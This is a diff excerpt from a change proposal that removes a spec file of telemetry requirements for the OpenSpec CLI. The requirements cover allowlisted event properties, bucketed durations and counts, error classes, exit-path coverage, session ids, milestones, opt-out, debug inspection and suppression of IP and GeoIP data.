|
||||
Two smaller corrections the review surfaced: cancellation must never delay exit
|
||||
to flush telemetry (Ctrl-C should stop the process, not phone home), and the
|
||||
ingest proxy must not log client IPs — it terminates TLS, so `$ip: null`
|
||||
governs what the backend records, not what our own infrastructure sees.
|
||||
|
||||
Telemetry stays opt-out and unchanged otherwise: same `OPENSPEC_TELEMETRY=0`,
|
||||
`DO_NOT_TRACK=1`, `openspec config set telemetry.enabled false`, same automatic
|
||||
off-in-CI, same silent failure, same 1-second timeout. Users who have seen the
|
||||
old notice get a one-line notice naming what changed, once.
|
||||
|
||||
## Impact
|
||||
|
||||
- Affected specs: `telemetry` (ADDED: 15 requirements; MODIFIED: 3)
|
||||
- Affected code: `src/telemetry/`, `src/cli/index.ts`, `src/commands/shared-output.ts`, `src/commands/config.ts`
|
||||
- Affected docs: `README.md`, `SECURITY.md`, `CHANGELOG.md`, `docs-lab/reference/configuration/environment-variables.md`
|
||||
- Affected infrastructure: the `edge.openspec.dev` ingest proxy (IP logging, GeoIP)
|
||||
- Command behavior, output, and exit codes are unchanged for every user.
|
||||
@@ -1,599 +0,0 @@
|
||||
## ADDED Requirements
|
||||
|
||||
### Requirement: Bounded property contract
|
||||
Every event name, property key, and property value SHALL be a member of a compile-time constant list declared in source. A property value SHALL be one of: a member of such a list, a boolean, or a bucket label from a fixed bucket list.
|
||||
|
||||
An event name or property key SHALL NOT be constructed by concatenation, interpolation, or any other transformation of a runtime value. Binding only values would leave the guarantee open: `{"schema:acme-internal": true}` carries a boolean value and still ships the user's schema name.
|
||||
|
||||
A property value SHALL NOT be derived from user-authored text. This includes, and is not limited to: change ids, spec ids, schema ids, artifact ids, store ids, store remotes, store branches, store local paths, `defaultStore`, `featureFlags` keys, `openers` content, file paths, project names, error messages, and command arguments.
|
||||
|
||||
Where a value comes from a set the user can extend, the system SHALL check membership against the compile-time list and SHALL substitute a fixed fallback label (or omit the property) when the value is not a member. The system SHALL NOT pass such a value through unchecked.
|
||||
|
||||
The allowlist SHALL be authoritative at send time, not only at build time. Immediately before serialization the system SHALL drop any property whose key is not on the allowlist, and any value that is not a member of that property's declared value set. A dropped property SHALL NOT prevent the event from being sent. Enforcement in a test alone is insufficient: a test passes vacuously for any code path it does not construct.
|
||||
|
||||
The lists SHALL be literal declarations in source. They SHALL NOT be computed from a schema, catalog, or any other file the user can author.
|
||||
|
||||
A property SHALL NOT be added where the joint distribution of an event's properties would make a substantial fraction of runs unique. A set-valued property drawn from a registry of more than eight members SHALL be sent as a count bucket rather than as a set.
|
||||
|
||||
#### Scenario: Value from a closed constant list
|
||||
- **WHEN** the system records the active install profile
|
||||
- **THEN** the property value is one of the values declared by the `Profile` type (`core`, `custom`)
|
||||
|
||||
#### Scenario: Value from a user-extensible set
|
||||
- **WHEN** a user has forked a schema into `openspec/schemas/acme-internal/`
|
||||
- **AND** a command runs against that schema
|
||||
- **THEN** no property key or value carries the string `acme-internal`
|
||||
- **AND** the schema is described only by where it was loaded from (`package`, `project`, or `user`)
|
||||
|
||||
#### Scenario: Property key derived from a runtime value
|
||||
- **WHEN** code attempts to send a property whose key embeds a schema, change, or store name
|
||||
- **THEN** the key is not on the allowlist
|
||||
- **AND** the property is dropped before the event is serialized
|
||||
|
||||
#### Scenario: Unknown property dropped at send time
|
||||
- **WHEN** a code path adds a property that is not on the allowlist
|
||||
- **THEN** the property is dropped immediately before serialization
|
||||
- **AND** the event is still sent with its remaining properties
|
||||
|
||||
#### Scenario: Counts are bucketed
|
||||
- **WHEN** the system records how many active changes a project has
|
||||
- **THEN** the property value is a bucket label from a fixed list, not the exact count
|
||||
|
||||
#### Scenario: New property without a closed value set
|
||||
- **WHEN** a proposed property's value set cannot be enumerated at build time
|
||||
- **THEN** the property SHALL NOT be added to any event
|
||||
|
||||
### Requirement: Command outcome tracking
|
||||
The system SHALL send a `command_completed` event after every command finishes, whether it succeeded or failed, carrying `command`, `version`, `surface`, `run_id`, `work_session_id`, `outcome`, `error_class`, `exit_code`, and `duration`.
|
||||
|
||||
`outcome` SHALL be one of: `success`, `user_error`, `internal_error`, `cancelled`.
|
||||
|
||||
`command` SHALL be the command path commander resolved, checked for membership in the registered command list, and sent as `unknown` when it is not a member. It SHALL NOT be derived from what the user typed.
|
||||
|
||||
`exit_code` SHALL be a bucket label from the fixed list `0`, `1`, `130`, `other`. It SHALL NOT be the raw process exit code, because several commands pass a child process's code through unchanged — `workset open` returns the launched editor's code (including `128 + signal`), `feedback` returns `gh`'s status, and `update` returns the re-spawned CLI's code. A raw code would be an unbounded value.
|
||||
|
||||
`duration` SHALL be a bucket label from the fixed list `1_under_100ms`, `2_100-500ms`, `3_500ms-2s`, `4_2-10s`, `5_over_10s`, measured in milliseconds from the start of the `preAction` hook, excluding any time the process spent blocked on an interactive prompt.
|
||||
|
||||
Raw millisecond durations SHALL NOT be sent. Full-resolution timings profile the machine's performance, leak repo scale past the count buckets, and — on interactive commands — record human response times, which are a behavioral biometric. Excluding prompt-blocked time is also what makes the measurement mean anything: `init`, `archive`, and `config` all prompt, so an unexcluded duration measures how long someone read a menu.
|
||||
|
||||
A command that fails a check it was asked to perform — a failing `validate`, an `archive` blocked by incomplete tasks — SHALL be recorded as `user_error`, never `internal_error`. Failing a check is a routine outcome of the command working correctly.
|
||||
|
||||
#### Scenario: Successful command
|
||||
- **WHEN** a command completes with exit code 0
|
||||
- **THEN** the system sends `command_completed` with `outcome: "success"`, `error_class: "none"`, and `exit_code: "0"`
|
||||
|
||||
#### Scenario: Failed command
|
||||
- **WHEN** a command fails and sets a non-zero exit code
|
||||
- **THEN** the system sends `command_completed` with a non-`success` outcome and a classified `error_class`
|
||||
|
||||
#### Scenario: Exit code passed through from a child process
|
||||
- **WHEN** `openspec workset open` exits with the launched editor's code of 137
|
||||
- **THEN** the event carries `exit_code: "other"`
|
||||
- **AND** no property carries the value 137
|
||||
|
||||
#### Scenario: Failing validation is not an internal error
|
||||
- **WHEN** `openspec validate` runs correctly and reports the change is invalid
|
||||
- **THEN** the event carries `outcome: "user_error"` and `error_class: "validation_failed"`
|
||||
|
||||
#### Scenario: Time spent at a prompt is excluded
|
||||
- **WHEN** a command waits four minutes for a user to answer a confirmation prompt and then finishes in 300ms of work
|
||||
- **THEN** the event carries `duration: "2_100-500ms"`
|
||||
|
||||
#### Scenario: Unregistered command name
|
||||
- **WHEN** the resolved command path is not a member of the registered command list
|
||||
- **THEN** the event carries `command: "unknown"`
|
||||
|
||||
#### Scenario: No message content
|
||||
- **WHEN** a command fails with the message `Change "acme-billing-rewrite" not found`
|
||||
- **THEN** the event carries `error_class: "item_not_found"` and no part of the message
|
||||
|
||||
### Requirement: Bounded error classification
|
||||
The system SHALL classify a failure into an `error_class` drawn from a compile-time allowlist declared as a literal string union in source. A failure that reaches this classifier and cannot be identified SHALL be recorded as `error_class: "other"` with `outcome: "internal_error"`. A failure that never reaches a classifier at all — a non-zero exit set without a throw, of which the CLI has many — SHALL be recorded as `error_class: "unclassified"` with `outcome: "user_error"`.
|
||||
|
||||
The distinction is what keeps `internal_error` meaning "our bug". An error object we failed to recognize is ours to explain; a command that simply set an exit code is not evidence of anything, and counting it as a bug would drown the metric that exists to find real ones.
|
||||
|
||||
Where a failure carries a diagnostic `code` (as `StoreError` and `RootSelectionError` do), the system SHALL map that code through the allowlist and SHALL NOT send the code through unchecked, because a diagnostic code is not guaranteed to be free of user-authored text.
|
||||
|
||||
The allowlist SHALL cover at minimum these classes, which correspond to the failure families the CLI actually has:
|
||||
|
||||
| Class | Covers |
|
||||
| --- | --- |
|
||||
| `none` | Success |
|
||||
| `cancelled` | Ctrl-C at a prompt, a declined confirmation |
|
||||
| `not_interactive` | A prompt was needed but stdin/stdout is not a terminal, or `--json` was passed. Distinct from `cancelled`: the user was never asked |
|
||||
| `no_root` | No OpenSpec root resolved, no registered store, unhealthy or mismatched store root |
|
||||
| `item_not_found` | A named change, spec, workset, or store does not exist |
|
||||
| `ambiguous_item` | A name matched more than one item |
|
||||
| `schema_not_found` | A schema, artifact, or template could not be resolved |
|
||||
| `schema_invalid` | A schema failed its own validation |
|
||||
| `bad_usage` | Bad flags or arguments, including commander's own usage errors |
|
||||
| `unknown_subcommand` | A group was given an operand it does not recognize |
|
||||
| `validation_failed` | Content failed validation — a routine outcome, not an exception |
|
||||
| `archive_blocked` | Archive refused a precondition: incomplete tasks, existing target, failed spec validation |
|
||||
| `concurrent_modification` | The working tree changed underneath a command mid-operation |
|
||||
| `store_error` | Store registration, metadata, identity, or path failures |
|
||||
| `git_error` | Store git init, identity, commit, or remote failures |
|
||||
| `fs_error` | Permission denied, path outside the allowed directory, not writable, not a directory |
|
||||
| `parse_error` | A markdown or YAML document could not be parsed |
|
||||
| `metadata_invalid` | Change metadata was missing or malformed |
|
||||
| `external_tool_failed` | A launched editor, agent, or the `gh` CLI failed |
|
||||
| `network_error` | An outbound request failed |
|
||||
| `already_exists` | A create operation found its target already present |
|
||||
| `unclassified` | A non-zero exit that reached no classifier, or a diagnostic code the map does not know. Recorded as a user error: the CLI has many paths that set an exit code without throwing, and presuming a bug there would drown the `internal_error` rate |
|
||||
| `internal_error` | An error that escaped a command's own handling |
|
||||
| `other` | Anything unmapped |
|
||||
|
||||
#### Scenario: Known diagnostic code
|
||||
- **WHEN** a command fails with diagnostic code `unknown_item`
|
||||
- **THEN** the event carries the mapped `error_class: "item_not_found"`
|
||||
|
||||
#### Scenario: Unrecognized diagnostic code
|
||||
- **WHEN** a command fails with a diagnostic code the map does not know
|
||||
- **THEN** the event carries `error_class: "unclassified"`
|
||||
- **AND** the raw code is not sent
|
||||
|
||||
#### Scenario: Exit code set without a throw
|
||||
- **WHEN** a command sets a non-zero exit code without throwing and without classifying
|
||||
- **THEN** the event carries `error_class: "unclassified"` and `outcome: "user_error"`
|
||||
|
||||
#### Scenario: Unclassified error
|
||||
- **WHEN** a command fails with a plain `Error` carrying no diagnostic
|
||||
- **THEN** the event carries `error_class: "other"`
|
||||
- **AND** carries `outcome: "internal_error"`
|
||||
|
||||
### Requirement: Outcome coverage across exit paths
|
||||
Every exit path that reaches the CLI's own error handling SHALL produce exactly one `command_completed` event before the process exits. Paths outside that handling — an OOM kill, `SIGKILL`, a crash in the runtime itself — cannot emit and are out of scope.
|
||||
|
||||
Three families of exit currently bypass commander's `postAction` hook, and all three SHALL be covered:
|
||||
|
||||
1. **Action handlers that call `process.exit()`.** These SHALL set `process.exitCode` and return instead, so the hook runs. This covers the seventeen `process.exit(1)` sites in `src/cli/index.ts`, the `process.exit(1)` in `src/core/view.ts` and the `config` group guard, and the `process.exit(0)` success paths in `src/core/init.ts`, `src/ui/welcome-screen.ts`, and `src/commands/feedback.ts`.
|
||||
2. **Commander's own usage errors.** Unknown option, unknown command, missing argument, excess arguments, and a group invoked with no subcommand all exit before the `preAction` hook runs, so today they produce no event at all. The system SHALL intercept these and emit `command_completed` with `error_class: "bad_usage"` before exiting with the code commander chose.
|
||||
3. **A rejected action promise.** Commander chains hooks without a `catch`, so a throw that escapes a command's own handler skips `postAction` and becomes an unhandled rejection. The system SHALL install a handler that emits `command_completed` with `outcome: "internal_error"` and then preserves the existing exit behavior.
|
||||
|
||||
Telemetry flushing is asynchronous, so the system SHALL NOT rely on a `process.on('exit')` handler, which cannot await.
|
||||
|
||||
`--help` and `--version` SHALL NOT emit a `command_completed` event.
|
||||
|
||||
#### Scenario: Failing command reaches the completion hook
|
||||
- **WHEN** a command fails
|
||||
- **THEN** the process does not call `process.exit()` before the `postAction` hook has run
|
||||
- **AND** exactly one `command_completed` event is sent
|
||||
|
||||
#### Scenario: Exit code preserved
|
||||
- **WHEN** a failing command sets `process.exitCode` instead of calling `process.exit()`
|
||||
- **THEN** the process still exits with the same code it exited with before this change
|
||||
|
||||
#### Scenario: Unknown command
|
||||
- **WHEN** a user runs `openspec proposal` and commander rejects it as an unknown command
|
||||
- **THEN** the system sends `command_completed` with `error_class: "bad_usage"`
|
||||
- **AND** the process still exits with the code commander chose
|
||||
|
||||
#### Scenario: Group invoked with no subcommand
|
||||
- **WHEN** a user runs `openspec spec` with no subcommand and commander prints help and exits 1
|
||||
- **THEN** the system sends `command_completed` with `error_class: "bad_usage"`
|
||||
|
||||
#### Scenario: Help and version are not commands
|
||||
- **WHEN** a user runs `openspec --help` or `openspec --version`
|
||||
- **THEN** no `command_completed` event is sent
|
||||
|
||||
#### Scenario: Error escaping a command handler
|
||||
- **WHEN** an action handler rejects with an error its own catch does not cover
|
||||
- **THEN** the system sends `command_completed` with `outcome: "internal_error"`
|
||||
- **AND** the process exits as it did before this change
|
||||
|
||||
#### Scenario: No duplicate events
|
||||
- **WHEN** a command both sets an exit code and returns normally
|
||||
- **THEN** exactly one `command_completed` event is sent for that invocation
|
||||
|
||||
### Requirement: Cancellation never delays exit
|
||||
A cancelled run SHALL NOT delay process exit in order to send or flush telemetry. Where the event cannot be dispatched without delaying exit, it SHALL be dropped.
|
||||
|
||||
Ctrl-C is the user asking the process to stop. A request that holds the process open for up to the telemetry timeout while the user presses Ctrl-C again is a worse outcome than a lossy cancellation metric, and the ratio is all the metric is used for.
|
||||
|
||||
#### Scenario: Ctrl-C during a command
|
||||
- **WHEN** a user presses Ctrl-C
|
||||
- **THEN** the process exits without waiting on a telemetry request
|
||||
- **AND** the cancellation event is dropped if it cannot be sent without waiting
|
||||
|
||||
#### Scenario: Cancellation recorded when it is free
|
||||
- **WHEN** a command exits 130 through the normal completion hook
|
||||
- **THEN** the system sends `command_completed` with `outcome: "cancelled"` and `error_class: "cancelled"`
|
||||
|
||||
### Requirement: Run and work session correlation
|
||||
The system SHALL generate a random UUID per CLI invocation and include it as `run_id` on every event from that invocation. The `run_id` SHALL NOT be persisted to disk and SHALL NOT be derived from the anonymous id, the process id, the working directory, or the clock.
|
||||
|
||||
`run_id` pairs `command_executed` with `command_completed`. Its job is to reveal when that pair is broken — an invocation that started and never completed is the signature of an exit path this spec failed to cover.
|
||||
|
||||
The system SHALL additionally maintain a `work_session_id`: a random UUID persisted in the telemetry config section alongside the time of last activity. It SHALL be reused when the last activity was less than 30 minutes ago and regenerated otherwise. The value SHALL be random; only the reuse window consults the clock.
|
||||
|
||||
A CLI work session is many invocations, not one. Without a correlation unit spanning them, command sequences and within-session drop-off are not computable at all.
|
||||
|
||||
#### Scenario: Same run id across one invocation's events
|
||||
- **WHEN** one invocation sends multiple events
|
||||
- **THEN** every event carries the same `run_id`
|
||||
|
||||
#### Scenario: Different run id across invocations
|
||||
- **WHEN** the same user runs two commands in sequence
|
||||
- **THEN** the two invocations carry different `run_id` values
|
||||
- **AND** both carry the same `anonymousId` as `distinct_id`
|
||||
|
||||
#### Scenario: Work session continues across invocations
|
||||
- **WHEN** a user runs a second command ten minutes after the first
|
||||
- **THEN** both invocations carry the same `work_session_id`
|
||||
|
||||
#### Scenario: Work session expires
|
||||
- **WHEN** a user runs a command more than 30 minutes after their last one
|
||||
- **THEN** the invocation carries a newly generated `work_session_id`
|
||||
|
||||
#### Scenario: Run id not persisted
|
||||
- **WHEN** an invocation ends
|
||||
- **THEN** no `run_id` is written to the global config file
|
||||
|
||||
### Requirement: Retry visibility
|
||||
The system SHALL persist the outcome and command of the previous invocation in the telemetry config section, and SHALL include `previous_outcome` (an `outcome` value or `none`) and `previous_command_same` (boolean) on `command_completed`.
|
||||
|
||||
Whether a user recovers from a failure is the most actionable maintainer signal available, and it is not otherwise computable: a funnel cannot express "same command, previously failed, now succeeded" without raw queries.
|
||||
|
||||
Only the outcome label and the previous command name SHALL be stored, and the name SHALL be compared locally and never sent — the event carries a boolean, not the name.
|
||||
|
||||
#### Scenario: Successful retry
|
||||
- **WHEN** a user runs a command that fails, then runs the same command again and it succeeds
|
||||
- **THEN** the second event carries `previous_outcome: "user_error"` and `previous_command_same: true`
|
||||
|
||||
#### Scenario: First invocation ever
|
||||
- **WHEN** no previous invocation is recorded
|
||||
- **THEN** the event carries `previous_outcome: "none"`
|
||||
|
||||
#### Scenario: Different command
|
||||
- **WHEN** the previous invocation was a different command
|
||||
- **THEN** the event carries `previous_command_same: false`
|
||||
|
||||
### Requirement: Bounded run context
|
||||
The system SHALL attach run context to `command_completed`. Every context property SHALL satisfy the bounded property contract.
|
||||
|
||||
The context SHALL be limited to: `platform` (`darwin`, `linux`, `win32`, `other`), `node_major` (a label from a fixed list of supported majors, `other` otherwise), `install_kind` (`global`, `npx`, `source`, `other`), `invoker`, `stdout_tty` (boolean), `json_mode` (boolean), `prompted` (boolean), `profile`, `delivery`, `tools_count` (bucket), `schema_source` (`package`, `project`, `user`), `store_in_use` (boolean), `changes` (bucket), and `first_run` (boolean).
|
||||
|
||||
Context SHALL be kept to what a decision actually turns on. Each property is a bit of entropy in a row that already carries a persistent id, and bits accumulate into a fingerprint whether or not any single one looks harmful. A property nobody would act on is not neutral — it is cost with no return, and it SHALL be removed rather than kept for completeness.
|
||||
|
||||
`tools_count` SHALL be a bucket label from `0`, `1`, `2-3`, `4+`. The identities of the configured tools SHALL NOT appear on a per-run event. The registry holds tens of tools, so a set drawn from it carries more than enough entropy to make an off-the-mode user unique when joined with the rest of the context — which is the whole risk, since it would attach a real-world identity to the anonymous id rather than merely linking sessions.
|
||||
|
||||
`invoker` SHALL be a label from a fixed list of known coding-agent environments, `terminal` when none matches and stdout is a terminal, and `unknown` otherwise. It SHALL be derived by testing for the presence of a compile-time list of environment markers. No environment variable name or value SHALL be sent, and an unrecognized marker SHALL collapse to `unknown`. The markers probed SHALL be named in the public disclosure.
|
||||
|
||||
`prompted` SHALL be true when the invocation opened any interactive prompt, or could have — both streams a terminal and interactivity not disabled. The measured half excludes think time from the duration; the capability half is what latency analysis filters on, since a run that could have prompted is not comparable to an agent's.
|
||||
|
||||
Prompts SHALL be loaded through a single seam so the timing is applied once rather than at each call site, which is how it would rot.
|
||||
|
||||
`first_run` SHALL be true only on the invocation during which the anonymous id is generated. It is not per-project.
|
||||
|
||||
Count buckets SHALL use the fixed labels `00`, `01-03`, `04-10`, `11-30`, `31+`.
|
||||
|
||||
Bucket labels SHALL be written so they sort in their natural order under a lexicographic sort, because that is how they are ordered wherever they are charted. A scrambled histogram is worse than no histogram.
|
||||
|
||||
Collecting run context SHALL NOT add filesystem traversal beyond a single non-recursive directory read per counted collection. Any context value that cannot be read cheaply or throws SHALL be omitted, and the event SHALL still be sent.
|
||||
|
||||
#### Scenario: Context collection failure
|
||||
- **WHEN** reading the changes directory throws
|
||||
- **THEN** the `changes` property is omitted
|
||||
- **AND** the `command_completed` event is still sent with its remaining properties
|
||||
|
||||
#### Scenario: Store in use
|
||||
- **WHEN** a command resolves its root through a registered store
|
||||
- **THEN** the event carries `store_in_use: true`
|
||||
- **AND** carries no store id, remote, branch, or path
|
||||
|
||||
#### Scenario: Configured tools are counted, not named
|
||||
- **WHEN** a user has three AI tools configured
|
||||
- **THEN** the event carries `tools_count: "2-3"`
|
||||
- **AND** carries no tool identity
|
||||
|
||||
#### Scenario: Agent-driven run
|
||||
- **WHEN** a command is run inside a recognized coding agent
|
||||
- **THEN** the event carries that agent's `invoker` label
|
||||
- **AND** carries no environment variable name or value
|
||||
|
||||
#### Scenario: Unrecognized environment
|
||||
- **WHEN** no known agent marker is present and stdout is not a terminal
|
||||
- **THEN** the event carries `invoker: "unknown"`
|
||||
|
||||
#### Scenario: Interactive run is marked
|
||||
- **WHEN** a command opens a confirmation prompt
|
||||
- **THEN** the event carries `prompted: true`
|
||||
|
||||
#### Scenario: No traversal for counts
|
||||
- **WHEN** the system counts active changes
|
||||
- **THEN** it performs a single non-recursive directory read and discards the entry names, keeping only the bucketed count
|
||||
|
||||
### Requirement: Activation milestone events
|
||||
The system SHALL send a `milestone_reached` event the first time a user reaches each of `install`, `init`, `propose`, `apply`, and `archive`, carrying `milestone`, `version`, `run_id`, and `time_to_reach`.
|
||||
|
||||
`propose` and `apply` are agent workflows, not CLI commands, so the CLI SHALL observe them through the commands run on their behalf: `new change` for `propose`, and `validate` for `apply`. A milestone that no command can reach is not a funnel step.
|
||||
|
||||
`install` SHALL be recorded on the invocation that generates the anonymous id. Without it the activation funnel has no denominator. The remaining milestones SHALL be recorded on first successful completion of the corresponding command.
|
||||
|
||||
A milestone SHALL be recorded at most once per anonymous id. The set of milestones already reached SHALL be persisted in the global config under the telemetry section.
|
||||
|
||||
`time_to_reach` SHALL use the fixed labels `1_under_1h`, `2_1-24h`, `3_1-7d`, `4_8-30d`, `5_over_30d`, computed from a date recorded when the anonymous id is first generated.
|
||||
|
||||
The sub-day buckets are deliberate. Whether a user reaches their first archived change in one sitting or on the fourth day is the difference between a tool that lands and one that needs a second attempt, and it is the activation question an investor asks by name. A coarser first bucket makes the two indistinguishable.
|
||||
|
||||
The residual risk is stated rather than hidden: a `<1h` milestone, combined with the server's own receipt time, dates that user's first run to within the hour. This is accepted because the run context no longer carries a fingerprint to join it against — tool identities are decoupled, durations and exit codes are bucketed — so the value dates a cohort rather than identifying a person. The recorded date SHALL NOT be sent directly, only the bucket.
|
||||
|
||||
The recorded date is the first run with telemetry enabled, not the install. It SHALL be named accordingly and SHALL NOT be described as an install date.
|
||||
|
||||
Where an anonymous id predates the recorded date, `time_to_reach` SHALL be omitted rather than sent as the lowest bucket, which would fabricate a wave of instant activations across the existing userbase.
|
||||
|
||||
#### Scenario: First successful archive
|
||||
- **WHEN** a user archives a change successfully for the first time
|
||||
- **THEN** the system sends `milestone_reached` with `milestone: "archive"` and the current `version`
|
||||
|
||||
#### Scenario: Subsequent archive
|
||||
- **WHEN** the same user archives another change later
|
||||
- **THEN** no further `archive` milestone event is sent
|
||||
|
||||
#### Scenario: Failed command reaches no milestone
|
||||
- **WHEN** a command fails
|
||||
- **THEN** no milestone is recorded for it
|
||||
|
||||
#### Scenario: Existing user with no recorded date
|
||||
- **WHEN** a user whose anonymous id predates this change reaches a milestone
|
||||
- **THEN** the event omits `time_to_reach`
|
||||
|
||||
#### Scenario: Milestones respect opt-out
|
||||
- **WHEN** telemetry is disabled
|
||||
- **THEN** no milestone is sent and no milestone state is written to config
|
||||
|
||||
### Requirement: Bounded persisted telemetry state
|
||||
State the system persists for telemetry SHALL be limited to enum labels, counters, booleans, timestamps, and randomly generated identifiers. A persisted timestamp SHALL NOT be sent; only a bucket derived from it may be. It SHALL NOT include command arguments, item names, paths, hashes of paths, or any other user-authored value.
|
||||
|
||||
No telemetry state SHALL be written to disk when telemetry is disabled. This covers the anonymous id, the work session id and its activity time, the milestone set, the first-seen time, the reported tool set, and the previous-outcome record.
|
||||
|
||||
The public disclosure SHALL enumerate every field persisted for telemetry and SHALL state where the file lives.
|
||||
|
||||
#### Scenario: Opted-out user leaves no trace
|
||||
- **WHEN** a user has opted out and runs any command
|
||||
- **THEN** no telemetry field is created or updated in the global config
|
||||
|
||||
#### Scenario: Persisted state is enumerable
|
||||
- **WHEN** a user opens the global config file
|
||||
- **THEN** every telemetry field it holds is one the disclosure names
|
||||
|
||||
### Requirement: Event volume cap
|
||||
The system SHALL cap the events one CLI invocation may send. Where more would be produced, the excess SHALL be dropped rather than queued.
|
||||
|
||||
A one-shot event — a milestone, a tool report — SHALL check the remaining budget *before* claiming. A claim is persisted permanently, so claiming and then hitting the cap would lose that milestone for the life of the install; leaving it unclaimed sends it one run later instead.
|
||||
|
||||
An agent harness can invoke the CLI dozens of times inside one task. An uncapped per-invocation event count turns that into a burst of outbound requests the user never asked for.
|
||||
|
||||
#### Scenario: Invocation producing many events
|
||||
- **WHEN** an invocation would produce more events than the cap allows
|
||||
- **THEN** the excess are dropped
|
||||
- **AND** the command completes normally
|
||||
|
||||
#### Scenario: One-shot event that does not fit
|
||||
- **WHEN** a milestone or tool report cannot be sent because the cap is reached
|
||||
- **THEN** it is not marked as reported
|
||||
- **AND** it is sent on a later invocation
|
||||
|
||||
### Requirement: Telemetry never interrupts the user
|
||||
Telemetry SHALL be silent and non-blocking. It SHALL NOT prompt the user, SHALL NOT ask for input, SHALL NOT block or delay command execution, and SHALL NOT write to stdout.
|
||||
|
||||
No telemetry decision SHALL ever be put to the user interactively. Consent is expressed through the documented opt-out mechanisms, which work offline and without a prompt. A CLI that stops to ask about analytics is a CLI that interrupts an agent mid-task.
|
||||
|
||||
The one-line first-run disclosure is a notice on stderr, not a prompt: it asks nothing, blocks nothing, and the command proceeds regardless.
|
||||
|
||||
Requests SHALL remain fire-and-forget and time-bounded, and a failure SHALL remain silent.
|
||||
|
||||
#### Scenario: Telemetry never asks
|
||||
- **WHEN** any telemetry code path runs
|
||||
- **THEN** no prompt is displayed and no input is read
|
||||
|
||||
#### Scenario: Command is not delayed
|
||||
- **WHEN** the telemetry endpoint is slow or unreachable
|
||||
- **THEN** the command runs and exits without waiting beyond the request timeout
|
||||
|
||||
#### Scenario: stdout stays clean
|
||||
- **WHEN** telemetry emits anything at all
|
||||
- **THEN** it is written to stderr, never stdout
|
||||
|
||||
### Requirement: Assistant adoption tracking
|
||||
The system SHALL send a `tool_configured` event once per configured tool id per anonymous id, carrying only `tool` (an id checked for membership in the `AI_TOOLS` registry), `version`, and `run_id`.
|
||||
|
||||
The event SHALL carry no run context and no `run_id`. Sending tool identities on every `command_completed` would put the full configured *set* in one row alongside platform, install kind, and counts, which is enough to make an unusual user unique; keeping the run id here would let a single join rebuild that same row.
|
||||
|
||||
The limit of this split SHALL be stated rather than overclaimed: these events still share `distinct_id` with every other event, so a determined query can associate them. What it buys is that the set is never assembled in one row, and that the tools of a user who never completes a command are never learned.
|
||||
|
||||
The set of tools already reported SHALL be persisted in the telemetry config section, on the same terms as milestones.
|
||||
|
||||
#### Scenario: Tool configured
|
||||
- **WHEN** a user has Cursor configured and no `tool_configured` event has been sent for it
|
||||
- **THEN** the system sends `tool_configured` with `tool: "cursor"`
|
||||
- **AND** the event carries no platform, install kind, count, or other run context
|
||||
|
||||
#### Scenario: Reported once
|
||||
- **WHEN** the same user runs another command
|
||||
- **THEN** no further `tool_configured` event is sent for that tool
|
||||
|
||||
#### Scenario: Tool added later
|
||||
- **WHEN** a user configures an additional tool
|
||||
- **THEN** a `tool_configured` event is sent for the new tool only
|
||||
|
||||
#### Scenario: Unregistered tool id
|
||||
- **WHEN** a configured tool id is not a member of the `AI_TOOLS` registry
|
||||
- **THEN** no event is sent for it
|
||||
|
||||
### Requirement: Local telemetry inspection
|
||||
The system SHALL print every event it would send to stderr and send nothing when `OPENSPEC_TELEMETRY_DEBUG` is set to `1`. The printed form SHALL be the exact payload, so a user can verify what is collected without trusting the documentation.
|
||||
|
||||
Debug mode SHALL work when telemetry is disabled, printing the payloads that would be sent, prefixed with a line stating telemetry is off and nothing was sent. The person most likely to want to inspect the payloads is the person who has already opted out and is deciding whether to opt back in; hiding the verification path from them defeats its purpose.
|
||||
|
||||
Debug mode SHALL NOT generate or persist an anonymous id, or any other telemetry state. Where a payload would carry an id that does not yet exist, the printed form SHALL show a placeholder. Inspecting the telemetry must not create the identifier being inspected.
|
||||
|
||||
#### Scenario: Debug mode prints and does not send
|
||||
- **WHEN** `OPENSPEC_TELEMETRY_DEBUG=1` is set
|
||||
- **THEN** each event payload is printed to stderr
|
||||
- **AND** no network request is made
|
||||
|
||||
#### Scenario: Debug mode does not pollute stdout
|
||||
- **WHEN** `OPENSPEC_TELEMETRY_DEBUG=1` is set and a command runs with `--json`
|
||||
- **THEN** stdout still contains exactly one valid JSON document
|
||||
|
||||
#### Scenario: Debug mode for an opted-out user
|
||||
- **WHEN** `OPENSPEC_TELEMETRY_DEBUG=1` is set and telemetry is disabled
|
||||
- **THEN** the payloads are printed with a line stating telemetry is off and nothing was sent
|
||||
- **AND** no network request is made
|
||||
|
||||
#### Scenario: Debug mode creates no identity
|
||||
- **WHEN** `OPENSPEC_TELEMETRY_DEBUG=1` is set on a machine with no anonymous id
|
||||
- **THEN** the printed payload shows a placeholder id
|
||||
- **AND** no anonymous id is written to the global config
|
||||
|
||||
### Requirement: Data subject controls
|
||||
The system SHALL expose the telemetry state through `openspec config get telemetry`, showing whether telemetry is enabled, the anonymous id if one exists, and the path to the file holding it.
|
||||
|
||||
Deleting the anonymous id from the global config SHALL be sufficient to sever all future events from all prior ones, and the disclosure SHALL say so.
|
||||
|
||||
The public disclosure SHALL name a route for a deletion request that the project actually operates, stating that a request is made by sending the anonymous id, and SHALL lead with the fact that deleting the id locally severs all future events from all prior ones without asking anyone.
|
||||
|
||||
The disclosure SHALL NOT publish a retention period until one is configured in the analytics backend. An unset retention published as fact is the same defect as an unmonitored contact address: a promise the system cannot keep, which costs more trust than saying nothing would.
|
||||
|
||||
The disclosure SHALL describe the data as pseudonymous rather than anonymous. A persistent random identifier combined with device characteristics is pseudonymous personal data; describing it as anonymous overstates the guarantee, and the overstatement is what a reader would hold against every other claim on the page.
|
||||
|
||||
The disclosure SHALL state that the anonymous id identifies a configuration directory rather than a person — a shared home directory means one id spans several people, and a fresh container per run means a new id each time — and SHALL NOT present a count of ids as a count of users.
|
||||
|
||||
#### Scenario: User inspects telemetry state
|
||||
- **WHEN** a user runs `openspec config get telemetry`
|
||||
- **THEN** the output shows the enabled state, the anonymous id, and the config file path
|
||||
|
||||
#### Scenario: User severs their history
|
||||
- **WHEN** a user deletes the anonymous id from the global config
|
||||
- **THEN** the next event uses a newly generated id unrelated to the previous one
|
||||
|
||||
### Requirement: Ingest handling of network-level identifiers
|
||||
Every event SHALL set `$ip: null` and `$geoip_disable: true`, so neither the connecting address nor anything derived from it is recorded.
|
||||
|
||||
